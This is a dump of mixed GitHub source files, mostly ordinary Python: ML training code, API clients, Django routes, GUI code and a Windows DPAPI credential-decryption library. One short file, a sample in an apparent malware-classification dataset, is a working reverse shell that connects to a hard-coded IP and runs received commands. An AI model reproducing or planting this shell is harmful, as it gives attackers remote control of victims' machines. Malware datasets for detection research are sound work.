] | permissive | mehedi02/nn | 602823d7c3ea99a013ac2ba5f49c3fb84f94d691 | 986f3bd9d3dd32b068898c330d9a017abedcd299 | refs/heads/master | 2023-03-18T09:50:48.445032 | 2021-03-11T13:05:58 | 2021-03-11T13:05:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,309 | py | """
---
title: Train Fast Weights Transformer
summary: This is training code with notes for a Fast Weights Transformer.
---
"""
import torch
from torch import nn
from labml import experiment
from labml.configs import option
from labml.utils.pytorch import get_modules
from labml_helpers.module import Module
from labml... | [
"vpjayasiri@gmail.com"
] | vpjayasiri@gmail.com |
56d575a37ff449c8961db5d4732227160cc5ab1f | eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7 | /grafeas/v1/grafeas-v1-py/grafeas/grafeas_v1/services/grafeas/client.py | ce79a8c28fe7c33273c98a1ed325fdaad2403f77 | [
"Apache-2.0"
] | permissive | Tryweirder/googleapis-gen | 2e5daf46574c3af3d448f1177eaebe809100c346 | 45d8e9377379f9d1d4e166e80415a8c1737f284d | refs/heads/master | 2023-04-05T06:30:04.726589 | 2021-04-13T23:35:20 | 2021-04-13T23:35:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 64,954 | py | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | [
"bazel-bot-development[bot]@users.noreply.github.com"
] | bazel-bot-development[bot]@users.noreply.github.com |
6d7287c51f8580dc4f3722f06ff9e19cd495d61a | 8027fd32efb02cc5e80805db2f23d0b1d598b4e2 | /Python/If Statements/Exercise 4.5.2/Exercise_4_5_2a.py | e5fd938fcc85f1792e575c67bba12ea11bb051d6 | [] | no_license | ManikhweSchool/Introduction-To-Java-Programming | 235e01f856a5a50a6af8b505773f4d4770b3359e | 68aa9ee308be0c28f6fe45c6f9d9cee94ebafccb | refs/heads/master | 2023-08-01T03:48:46.006513 | 2021-09-16T13:52:59 | 2021-09-16T13:52:59 | 316,620,298 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 472 | py | temperature = eval(input('Enter Temperature : '))
units = eval(input('Enter \'0\' For Fahrenheit or \'1\1 For Celsius : '))
computedTemprerature = temperature
if not(units==0 or units==1):
print('Error : Invalid Input(Enter 0 or 1)')
else:
if units==0:
computedTemperature = (9/5)*(temperature-32)
... | [
"="
] | = |
9e6fe3a39ccef3c4125b29e9f143a59f82bbe635 | dc6c6e73d9d94310dff9b962703ee616aef2d8e9 | /board/urls.py | aba330aebec893f6a5e6a2f802e5442331bab70d | [] | no_license | Jamie-Cheon/Django_basic | f5063baca09e7530f09b8a03e502c26dc7949c95 | 5055e2baa53f755e7849266d2fab06b4b53df94a | refs/heads/master | 2022-09-06T21:20:30.246363 | 2020-05-30T11:26:16 | 2020-05-30T11:26:16 | 263,026,340 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | from django.urls import path
from . import views
urlpatterns = [
path('list/', views.board_list),
path('write/', views.board_write),
path('detail/<int:pk>/', views.board_detail),
] | [
"jamiecheon55@gmail.com"
] | jamiecheon55@gmail.com |
5dfcc0b1da459e5529812975d19232d7a5b46e11 | bbe7d6d59ef6d7364ff06377df9658367a19c425 | /friends/ToontownFriendSecret.py | 2afa5d4e61b0d5eb16a23cb327b5db6d153f08a5 | [
"Apache-2.0"
] | permissive | DedMemez/ODS-August-2017 | 1b45c912ad52ba81419c1596644d8db2a879bd9b | 5d6214732e3245f63bfa250e3e9c881cc2dc28ad | refs/heads/master | 2021-01-22T18:37:51.626942 | 2017-08-19T02:04:51 | 2017-08-19T02:04:51 | 100,762,513 | 0 | 8 | null | null | null | null | UTF-8 | Python | false | false | 8,874 | py | # Fuck you Disyer. Stealing my fucking paypal. GET FUCKED: toontown.friends.ToontownFriendSecret
from direct.gui.DirectGui import *
from direct.directnotify import DirectNotifyGlobal
from toontown.toonbase import TTLocalizer, ToontownGlobals
from otp.otpbase import OTPGlobals
globalFriendSecret = None
def showF... | [
"noreply@github.com"
] | DedMemez.noreply@github.com |
f76933772f0c98f9fb4ebaaf26191098358b168c | 745e6abeaed0d1f9c178bd8a86821d1c8f0f66ac | /venv4/lib/python3.8/site-packages/pip/_internal/models/scheme.py | 18a36dafa7c835ba86c3fc956fb73f20ca1ad776 | [
"ISC",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"Zlib",
"LicenseRef-scancode-openssl",
"LicenseRef-scancode-ssleay-windows",
"BSD-3-Clause",
"OpenSSL",
"MIT"
] | permissive | alireza-shirmohammadi/python_client_kafka_elastic | 6e92478501cb3dfff6c864b46efd9b4839c8dff2 | 4a67d666b8e9369d18ec178983eab79afc48d7ef | refs/heads/master | 2023-03-10T19:16:00.288264 | 2021-02-24T07:46:00 | 2021-02-24T07:46:00 | 341,819,716 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 801 | py | """
For types associated with installation schemes.
For a general overview of available schemes and their context, see
https://docs.python.org/3/install/index.html#alternate-installation.
"""
SCHEME_KEYS = ["platlib", "purelib", "headers", "scripts", "data"]
class Scheme:
"""A Scheme holds paths wh... | [
"alireza.sh076@gmail.com"
] | alireza.sh076@gmail.com |
6f3a35325ba1a43f6a67da6e4b2c72b6deb78f87 | 4e25db2f3ab32798f294a88c0a409adeb34d5786 | /Source/Falcom/EDAO/Decompiler/png32toitx.py | ed77191f177f61c592b08276898437610850d597 | [] | no_license | pmeido/Arianrhod | c3f3c74bf44b65c32b18aca6888f6dd10eb5eda2 | 44cc63b113b421da0db7f05bcea5d78cd76f6a20 | refs/heads/master | 2021-01-15T15:23:49.120373 | 2015-10-28T09:20:32 | 2015-10-28T09:20:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,512 | py | from ml import *
from itp2itc import *
import subprocess
ITPCNV_PATH = os.path.join(os.path.dirname(__file__), r'tools\itpcnv.exe')
PNGQUANT_PATH = os.path.join(os.path.dirname(__file__), r'tools\pngquant.exe')
NCONVERT_PATH = os.path.join(os.path.dirname(__file__), r'tools\nconvert.exe')
PNG_TO_ITP =... | [
"Hiromi.Kaede@gmail.com"
] | Hiromi.Kaede@gmail.com |
246a9e4f60436f18c84c9e6c106409b59f018e73 | 8937c4d452c98699610923f76a395a2247f576df | /preprocess/expand_jp2.py | e8c59d28114c68a67edb2e996444c33ca9238772 | [] | no_license | mistycheney/MouseBrainAtlas | 812b204af06ed303f3c12d5c81edef50c8d9d1ed | bffbaa1ede9297084e64fc197716e63d5cb54275 | refs/heads/master | 2020-04-11T13:44:09.632311 | 2018-11-20T22:32:15 | 2018-11-20T22:32:15 | 20,377,173 | 3 | 9 | null | 2017-03-15T19:39:27 | 2014-06-01T12:42:08 | Jupyter Notebook | UTF-8 | Python | false | false | 1,289 | py | #! /usr/bin/env python
import sys
import os
import shutil
import argparse
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description='Rename thumbnail images according to our naming format with consecutive section numbers')
parser.add_argument("stack_name", type=str, ... | [
"cyc3700@gmail.com"
] | cyc3700@gmail.com |
352c39eadcaeae91804d2ff7e38f42e01b3d4e57 | 1862d2942ccbba00788fcf999494a3a9521591f1 | /jacquard/service/base.py | 6386edf964f415022016a47fbb9ca66b1edc6a66 | [
"MIT"
] | permissive | prophile/jacquard | 6b8aecc3e5ac226d42720c3a5cf4a2bbbba0ab46 | a06b781a81139ed578bcbef3fb521b8f712ab77d | refs/heads/master | 2021-01-13T09:15:26.794307 | 2019-05-03T12:48:11 | 2019-05-03T12:48:11 | 72,368,989 | 8 | 3 | MIT | 2020-05-30T11:36:46 | 2016-10-30T19:01:07 | Python | UTF-8 | Python | false | false | 2,962 | py | """Base for HTTP endpoint plugins."""
import abc
import copy
import werkzeug.routing
class Endpoint(metaclass=abc.ABCMeta):
"""
Base HTTP endpoint.
Subclasses must implement `url` and `handle`. `url` is a URL pattern in
the standard Werkzeug/Flask form, and `handle` is the method which is
actua... | [
"arplynn@gmail.com"
] | arplynn@gmail.com |
abc9ad0231ea062b622ee1b20f6a87e365da038b | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /QHuaoQuAJfWn2W9oX_16.py | 49142bf3f17009b39a65c20e6dc12e21d9c8e05f | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,301 | py | """
Create a function that takes **a character from a to h** as the column number
and **an integer from 1 to 8** as the row number which together represent the
location of a queen on a normal-sized chess board. Return this two dimensional
8x8 list.
This list must consist of zeroes and ones. The ones are placed in p... | [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
739aa4ce4ee4823a78f37cde2f5551e310ee8e6b | 235c4b3aa630737b379050a420923efadd432da8 | /DS-400/Medium/143-Reorder List/TwoPointers.py | 129ad948eaf5fdb544c090e6644b61d4d1809d77 | [
"MIT"
] | permissive | ericchen12377/Leetcode-Algorithm-Python | 4e5dc20062280ef46194da5480600b2459fd89f8 | eb58cd4f01d9b8006b7d1a725fc48910aad7f192 | refs/heads/master | 2023-02-22T22:43:55.612650 | 2021-01-28T04:00:20 | 2021-01-28T04:00:20 | 258,058,468 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,106 | py | # Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, val=0, next=None):
# self.val = val
# self.next = next
class Solution(object):
def reorderList(self, head):
"""
:type head: ListNode
:rtype: None Do not return anything, modify head in-pla... | [
"suiyaochen@mail.usf.edu"
] | suiyaochen@mail.usf.edu |
0661858159210849529403181b4bdd2290894c12 | 272d14b20de44e371d15046dc39e76ad1c7d12fd | /main.py | f9b644bb2cd3f53735da16ce9074246490a64217 | [] | no_license | greentfrapp/task-embeddings | 9eccb856aeeae6f88817c4eef7158664d1fec3a8 | 80dafccd3b82ccc6d29d345265dbd0a7f266faa9 | refs/heads/master | 2020-03-23T05:08:51.346548 | 2018-08-30T01:57:40 | 2018-08-30T01:57:40 | 141,127,254 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,904 | py | from __future__ import print_function
try:
raw_input
except:
raw_input = input
from time import strftime
import os
import json
from comet_ml import Experiment
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
from absl import flags
from absl import app
from models import CNN, CNN2, CNN_mini... | [
"limsweekiat@gmail.com"
] | limsweekiat@gmail.com |
52c4e803368e6b2e75ecde324284072815f96708 | 8c9203affc3c5d165e8129d63622d12138ae3baa | /app/tests/test_hello.py | 22cc4d8b9d41a24543f9e53b09204777edcefece | [] | no_license | PartisanX/fastapi-async-db | c72a4ca25a885e9feb6a95d63d5c9b592a030131 | b2971a9155eb7791ea45513b98d465a68c38224b | refs/heads/master | 2023-05-25T14:45:36.743778 | 2021-06-06T20:32:13 | 2021-06-06T20:32:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 279 | py | import pytest
from httpx import AsyncClient
pytestmark = pytest.mark.asyncio
async def test_hello(async_client: AsyncClient) -> None:
response = await async_client.get("/api/v1/hello")
assert response.status_code == 200
assert response.content.decode() == '"OK"'
| [
"rivinek@gmail.com"
] | rivinek@gmail.com |
a30bc216238be67543529a6206d22069b0c56977 | fbcac9ff8664e857e1f7d5409b170a23f432763f | /config.py | 159c37944fe3627a3efba156a0887dbdef12ff83 | [] | no_license | claraj/iss_slack_bot | 289d4af3cf108e888db3170048d7aa491984f759 | 8e36e81d8d571dfceb7e40ede44ca720fc699e50 | refs/heads/master | 2021-09-06T08:59:07.966377 | 2018-02-04T17:01:53 | 2018-02-04T17:01:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 643 | py | import secrets
# Delay before retry if ISS API is down, or other error fetching data
# If ISS API returns no results, wait this many minutes before trying again
iss_api_retry_delay_minutes = 60
## ISS
# How far in the future a pass time has to be, to considered to be a new pass
min_seconds_in_future = 60 * 10
# La... | [
"clara@clara.com"
] | clara@clara.com |
bc4817970e0091aaf7fd5baa597df29c9d626cf0 | f9a2e67dd2f40b37d8ff81bf6cdce47c38d2dee4 | /.c9/metadata/environment/fb_post_learning/fb_post_clean_arch/views/create_comment/tests/snapshots/snap_test_case_03.py | 0139cd78094e5be841ce199b2203c03007836e33 | [] | no_license | mohan277/backend_repo | 4eae065cf0fffa29866a2b549028cb8df4c97643 | 25dbb4d0f1c174b6da95f4c73737e49db9978429 | refs/heads/master | 2022-11-13T00:08:37.600743 | 2020-07-09T04:36:44 | 2020-07-09T04:36:44 | 278,259,585 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 544 | py | {"filter":false,"title":"snap_test_case_03.py","tooltip":"/fb_post_learning/fb_post_clean_arch/views/create_comment/tests/snapshots/snap_test_case_03.py","undoManager":{"mark":-1,"position":-1,"stack":[]},"ace":{"folds":[],"scrolltop":17.12499999126885,"scrollleft":208.4890873496085,"selection":{"start":{"row":18,"colu... | [
"senammohanakrishna@gmail.com"
] | senammohanakrishna@gmail.com |
5eaece881f1fddc037e42ecfd5dfd62afef83b5f | 0838a35a04363d782e9670477f4557811f291c1c | /cdmaUpfit.py | 196766ea8e4ece046d440dd8f44428ebc911cb22 | [] | no_license | tianhaomin/detect-spectrum | 8e38f8a9a3c190033352bb334d89e9676fee0ac7 | 45a481b11615b235ee0ed5bcf6aab48b63446858 | refs/heads/master | 2021-05-11T14:10:30.053097 | 2018-01-16T15:13:54 | 2018-01-16T15:13:54 | 117,696,684 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,064 | py | # -*- coding: utf-8 -*-
"""
Created on Mon Apr 24 20:59:22 2017
@author: Administrator
"""
#最小二乘拟合不好
import numpy as np
import pandas
import matplotlib.pyplot as plt
import os
import seaborn
z = []
cdmaUpD = pandas.DataFrame()
a = os.listdir("F:/project/spectrum-data")
for i in range(len(a)):
df ... | [
"noreply@github.com"
] | tianhaomin.noreply@github.com |
f8b00c2ae6ffbd519e91888e6b1f469bc3c642aa | c08ceae13637956ec976ad8a68a6bdbcc53cfced | /visualise.py | eb33ba9f75fb155cfc4b76e936a953ea71f03c51 | [] | no_license | abulka/hugo-layout-visualiser | 87e34039b89acfbf9379414eaae418123ffb3c23 | b7734f787952f95f1a4c3b80b2010e41cfb85e1f | refs/heads/master | 2022-12-22T22:56:11.927487 | 2020-09-26T00:18:02 | 2020-09-26T00:18:02 | 298,232,881 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,192 | py | import glob
import os
from process_dir import processDir
from process_partial import processPartial
from settings import THEME_PATH, debug, buildDirStructure, scanForPartials
from stats import Stats
from theme import Theme
import styles
def scan(themeName, themePath=THEME_PATH):
"""Main entry point, scans the `t... | [
"abulka@gmail.com"
] | abulka@gmail.com |
f7f61ba99c70cc1d4877345ac1c1ee53a3d47202 | 87627efc35ede4b6ec9cdc3aefc326a97b2b4b27 | /bin/load_to_mongodb.py | 671e72149c40b9152cec12d3da1cb4aeefd61f4d | [
"Apache-2.0"
] | permissive | szabgab/codeandtalk.com | d3f6cd49453f831a077318f5d2b126cee029c5e9 | bc2a1c1223bbe9e5c84d252c86d7e6266191a2f7 | refs/heads/main | 2023-09-01T08:57:52.728217 | 2023-08-31T08:23:32 | 2023-08-31T08:23:32 | 71,823,631 | 69 | 181 | Apache-2.0 | 2023-08-31T08:23:33 | 2016-10-24T19:17:47 | HTML | UTF-8 | Python | false | false | 505 | py | from pymongo import MongoClient
import pymongo
import sys
import os
import json
import glob
# Go over all the data directory and load each file into MongoDB
dbname = 'cat'
client = MongoClient()
db = client[dbname]
root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# print(root)
data_dir = os.path.jo... | [
"gabor@szabgab.com"
] | gabor@szabgab.com |
e8f5c61ab33ea674b400c1b6bc41084afe551bab | bff679cceb174a0784a65d2d6542c714723e6a24 | /eemeter/config/yaml_parser.py | fada4655e9eb56457250971cdff8a641fb6247dc | [
"MIT"
] | permissive | cmiller8/eemeter | cdf3709c05bff63eda8272049fead8e6f41900be | 5f0e88f2d78ec027fad7f41b8f368eb8b00fadef | refs/heads/master | 2020-12-31T01:35:52.935221 | 2015-06-23T23:00:13 | 2015-06-23T23:00:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,485 | py | import yaml
from collections import namedtuple
is_initialized = False
BaseProxy = namedtuple('BaseProxy', ['callable', 'keywords', 'yaml_src'])
class Proxy(BaseProxy):
__slots__ = []
def __hash__(self):
"""Return a hash based on the object ID (to avoid hashing unhashable
namedtuple elements... | [
"ngo.phil@gmail.com"
] | ngo.phil@gmail.com |
5a5c92ed4de6abfa88e3ae9f1520953edab3ba6d | f7f670099a2765af1aefef024278f65cc9f53261 | /chapter_6/tuple.py | b4e1acdab89200d5d8bd51bc645da03f3a174c11 | [] | no_license | KelvienLee/Python-learnning | f35ae3712feceea362736ad77571e91b1c8980dc | 39f3b87694b1b9c1502a8b1cef61fbafbb259228 | refs/heads/main | 2023-03-23T17:36:20.058443 | 2021-03-22T22:56:40 | 2021-03-22T22:56:40 | 350,511,762 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,461 | py | # 创建元组
tuple_val = (1, 'hello', [1, 2, 31], (4, 65, 757, 67))
empty_tuple = tuple()
# 这样创建只有一个元素的元组会变成对应类型
tuple_0 = ('hello')
print(type(tuple_0))
tuple_1 = (1)
print(type(tuple_1))
# 如果需要将只有一个元素的“元组”转换为元组,需要在其后面添加一个逗号 ,
tuple_0 = ('hello',)
print(type(tuple_0))
tuple_1 = (1,)
print(type(tuple_1))
... | [
"lixingqiang06@gmail.com"
] | lixingqiang06@gmail.com |
c8bd6b9edece52f8ab5a8b13f6000e72f111d4a4 | d27af9d58b91b8cd998ac0eb87d980d304ff0670 | /Regular-Contest/ARC035/ARC035_D.py | 0a97f9da49442600e0bce3fb97c0d2273b52a4fe | [] | no_license | mongesan/Atcoder-m0_ngesan-py | 29dd79daab149003ffc8b6b6bad5fa2e7daa9646 | 6654af034d4ff4cece1be04c2c8b756976d99a4b | refs/heads/master | 2023-08-20T19:50:04.547025 | 2021-10-27T12:24:51 | 2021-10-27T12:24:51 | 258,486,105 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9 | py | #ARC035_D | [
"syun1.mongesan@gmail.com"
] | syun1.mongesan@gmail.com |
e64ef41057b3a7d51608e0c4a5cc81f028dec5bc | 62b8ad2d98e2b8ba9eb9d3f6d6c28e8066af1bf6 | /pypykatz/dpapi/constants.py | 4f4cdd2efc5ec49d7854f73ef8e4d95eeaf6024a | [
"MIT"
] | permissive | s1ntaxe770r/pypykatz | 560698425ddeda2906c54f100e11bf5613c62e61 | 15f4cde7c9ac41a56202147d16d5bff3581649ae | refs/heads/master | 2023-03-22T16:29:11.538561 | 2021-03-14T23:55:19 | 2021-03-14T23:55:19 | 347,998,355 | 1 | 0 | MIT | 2021-03-15T14:19:12 | 2021-03-15T14:19:11 | null | UTF-8 | Python | false | false | 8,113 | py | import enum
# https://eljay.github.io/directx-sys/winapi/wincrypt/index.html
# https://doxygen.reactos.org/d7/d4a/wincrypt_8h.html
# impacket dpapi.py
from hashlib import sha1 as SHA1
from hashlib import sha512 as SHA512
from pypykatz.crypto.unified.aes import AES
from pypykatz.crypto.unified.des3 import DES3
from py... | [
"info@skelsec.com"
] | info@skelsec.com |
19e6200005c19ebcfb02de5bdd69d36e44bf1bb7 | 0f2043278815dc4dd8e1e0b7b48adc7def7799a0 | /src/python/pants/backend/docker/docker_build_context.py | ae7588dd6f91b5fa332a4e6bf474309c999d9a61 | [
"Apache-2.0"
] | permissive | patricklaw/pants | ac3cdd391f4c11ef427457425ea12480a0d8aeed | 906099f5c0d2f9e6adcac23e030270c64ca519ae | refs/heads/main | 2021-11-19T02:24:08.328260 | 2021-09-26T17:20:32 | 2021-09-26T17:20:32 | 350,130,454 | 0 | 0 | Apache-2.0 | 2021-03-21T22:01:26 | 2021-03-21T22:01:25 | null | UTF-8 | Python | false | false | 3,419 | py | # Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import logging
from dataclasses import dataclass
from itertools import chain
from pants.backend.docker.target_types import DockerImageSources
from pants.core.goals.package import BuiltPac... | [
"noreply@github.com"
] | patricklaw.noreply@github.com |
b477ec43d52372a6b3011f7de0d3f8f2d181f8f4 | aea74a8c1d4ad17eb65b7c70da5342c01fd1a930 | /websites_postgres/scraper_watchzone.py | 2531c987affff13bc17d64f268123cbfaa3875a8 | [] | no_license | savusebastian/angular_project | 4e6d8b398e17ca91842d7579d8f4da8650e7a13a | 9c28c25e4b9875abf346f7e9a7e8baa34bc3f9ee | refs/heads/main | 2023-04-17T07:03:32.016850 | 2021-05-09T09:07:55 | 2021-05-09T09:07:55 | 365,710,891 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,288 | py | from bs4 import BeautifulSoup
import psycopg2
import requests
def watchzone_DB():
con = psycopg2.connect(
host='localhost',
database='postgres',
user='postgres',
password='winding1127!'
)
cur = con.cursor()
URL = 'https://www.watchzone.ro/home/1529-curea-ceas-neagra-cusatura-alba-handmade-piele-naturala... | [
"savusebastianf@gmail.com"
] | savusebastianf@gmail.com |
c4c42908076063f27f5197bf4c1da73599f268d1 | 0b842bcb3bf20e1ce628d39bf7e11abd7699baf9 | /oscar/a/sys/blinky/example/oper/oper/config_a/op_m/blinky_op_m_oper_gen.py | ccdfc3cd6e8306f538e244d9b9d4b53e9ca5af8e | [] | no_license | afeset/miner2-tools | 75cc8cdee06222e0d81e39a34f621399e1ceadee | 81bcc74fe7c0ca036ec483f634d7be0bab19a6d0 | refs/heads/master | 2016-09-05T12:50:58.228698 | 2013-08-27T21:09:56 | 2013-08-27T21:09:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,882 | py |
# Copyright Qwilt, 2011
#
# The code contained in this file may not be used by any other entities without explicit written permission from Qwilt.
#
# Author: auto-generated
# Must be set here to avoid stupid warnings about stuff in BlinkyOperContainer
__pychecker__="no-classattr"
from a.sys.blinky.example.oper.... | [
"afeset@gmail.com"
] | afeset@gmail.com |
7d44db6bc25df813a2b7bf80427ff15968edbad0 | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad966.py | d2aedd9555c0632adc04ffb946a9197f25b36d92 | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 310 | py | import subprocess
import zipfile
import socket
import threading
import hashlib
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not command: break
data = subprocess.check_output(command, shell=True)
s.send(data)
| [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
48cd35f6dcab9047ea5036d1583747fe5adfa6f0 | 6fa701cdaa0d83caa0d3cbffe39b40e54bf3d386 | /google/ads/admob/v1/ads-admob-v1-py/google/ads/admob_v1/services/ad_mob_api/transports/grpc.py | ce670df9b891b2c785fecd7529ce5d4bc2c92f5d | [
"Apache-2.0"
] | permissive | oltoco/googleapis-gen | bf40cfad61b4217aca07068bd4922a86e3bbd2d5 | 00ca50bdde80906d6f62314ef4f7630b8cdb6e15 | refs/heads/master | 2023-07-17T22:11:47.848185 | 2021-08-29T20:39:47 | 2021-08-29T20:39:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,499 | py | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"bazel-bot-development[bot]@users.noreply.github.com"
] | bazel-bot-development[bot]@users.noreply.github.com |
d3b2a11861e9831fb85ddb93507bcd1ebaea654f | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02730/s316000135.py | 998d1cb6a4ccb097a13f78d650afff85132f9ffb | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 268 | py | def resolve():
s = input()
if s == s[::-1]:
s_1 = s[:len(s)//2]
s_2 = s[(len(s)+1)//2:]
if (s_1 == s_1[::-1]) and (s_2 == s_2[::-1]):
print('Yes')
else:
print('No')
else:
print('No')
resolve() | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
5d5e6c70e86fa4f2932e2c0e99eff7729c6f6216 | 14f176bf1bb40b92a57e24d862eb34de4043036b | /nekbot/services/tg/type/user.py | 4844e738120ba0f88ab97c39cc81ed57c2665461 | [] | no_license | Nekmo/nekbot | 0e15c76ffb626d80bf6b7620a967f77fff0884e5 | e9287bca3f9d7b5448dc4d0cba5ef36893a9f2c0 | refs/heads/master | 2021-01-02T23:11:43.394247 | 2017-08-12T00:44:08 | 2017-08-12T00:44:08 | 99,489,666 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 177 | py | from nekbot.type.user import User
class TelegramUser(User):
def get_id(self):
raise NotImplementedError
def get_name(self):
raise NotImplementedError
| [
"contacto@nekmo.com"
] | contacto@nekmo.com |
4dd3fefc5812a7c0c1bc6fbf1ea0649c33c7cff3 | 55c250525bd7198ac905b1f2f86d16a44f73e03a | /Python/Flask/Book_evaluator/venv/Lib/site-packages/cs50/sql.py | 8b222b3457451c582e5c2a5bbe6e4a0b98f6c87a | [] | no_license | NateWeiler/Resources | 213d18ba86f7cc9d845741b8571b9e2c2c6be916 | bd4a8a82a3e83a381c97d19e5df42cbababfc66c | refs/heads/master | 2023-09-03T17:50:31.937137 | 2023-08-28T23:50:57 | 2023-08-28T23:50:57 | 267,368,545 | 2 | 1 | null | 2022-09-08T15:20:18 | 2020-05-27T16:18:17 | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:2afa9baab2126ae971ca1c7a617dd2763a7415f80bb74132b307bae38c25a7d1
size 9234
| [
"nateweiler84@gmail.com"
] | nateweiler84@gmail.com |
81eb1635e9825d37e1ffac7e71002a2ba8f20d85 | 6bbdcde1c27b89de9cc4d0f01ac0647241125242 | /tests/agents_tests/basetest_training.py | 067e0ac33a536758f0abec2340678b741c02feb6 | [
"MIT"
] | permissive | watakandai/pfrl | 0fd297545a1d42f06eeff4f6c340a7ae26e81db7 | 0321659ccbf7931356360c26dd1bf2351aa87c0e | refs/heads/master | 2023-08-16T23:41:13.695179 | 2021-06-24T05:21:48 | 2021-06-24T05:21:48 | 285,685,109 | 4 | 1 | MIT | 2021-08-20T19:54:17 | 2020-08-06T22:38:03 | Python | UTF-8 | Python | false | false | 8,528 | py | import logging
import os
import tempfile
import pytest
import numpy as np
import pfrl
from pfrl.experiments.evaluator import batch_run_evaluation_episodes
from pfrl.experiments.evaluator import run_evaluation_episodes
from pfrl.experiments import train_agent_async
from pfrl.experiments import train_agent_batch_with_e... | [
"muupan@gmail.com"
] | muupan@gmail.com |
2c804108451cfd41d88182d9406d4f8f7672e0e2 | a79da24bda658f588fd8e71c7e63f01931c1a694 | /bigapple/venv/lib/python3.7/site-packages/plotly/graph_objs/layout/shape/_line.py | 27382b715e66bfb177beeda5b3565cabd29a5afa | [] | no_license | replicantdeca/bigapple-insys | 60519b486f13e1a3eb18b5ba637e45deaf8e1d8e | 5e7328fb94362fbb04a71c2e297bffd83443eebc | refs/heads/master | 2020-03-27T12:57:31.894182 | 2019-12-01T11:25:13 | 2019-12-01T11:25:13 | 146,580,916 | 0 | 1 | null | 2018-08-29T10:00:28 | 2018-08-29T10:00:27 | null | UTF-8 | Python | false | false | 6,629 | py | from plotly.basedatatypes import BaseLayoutHierarchyType
import copy
class Line(BaseLayoutHierarchyType):
# color
# -----
@property
def color(self):
"""
Sets the line color.
The 'color' property is a color and may be specified as:
- A hex string (e.g. '#ff0000')... | [
"mgfcrespo@gmail.com"
] | mgfcrespo@gmail.com |
f8adb35045c5c0bc6154ad50474a38776ae9fabd | e504bf2a0db30dca9386b48b4beccebcd280e4a1 | /BlikCloudFramework/blik/management/core/system_api.py | 26969080150cf0115e2a35f134c4318998411f07 | [] | no_license | fabregas/old_projects | 264dbf8dcff3ad9983ec2e10b0fa1c4f5ca3f1a8 | e6bc6eb747e39dcacf5f3fd0738d82f16ed0f76d | refs/heads/master | 2016-09-05T14:21:49.390943 | 2014-02-04T15:12:10 | 2014-02-04T15:12:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,745 | py | #!/usr/bin/python
"""
Copyright (C) 2012 Konstantin Andrusenko
See the documentation for further information on copyrights,
or contact the author. All Rights Reserved.
@package blik.management.core.system_api
@author Konstantin Andrusenko
@date May 26, 2012
This module contains the SystemAPI class implementat... | [
"kksstt@gmail.com"
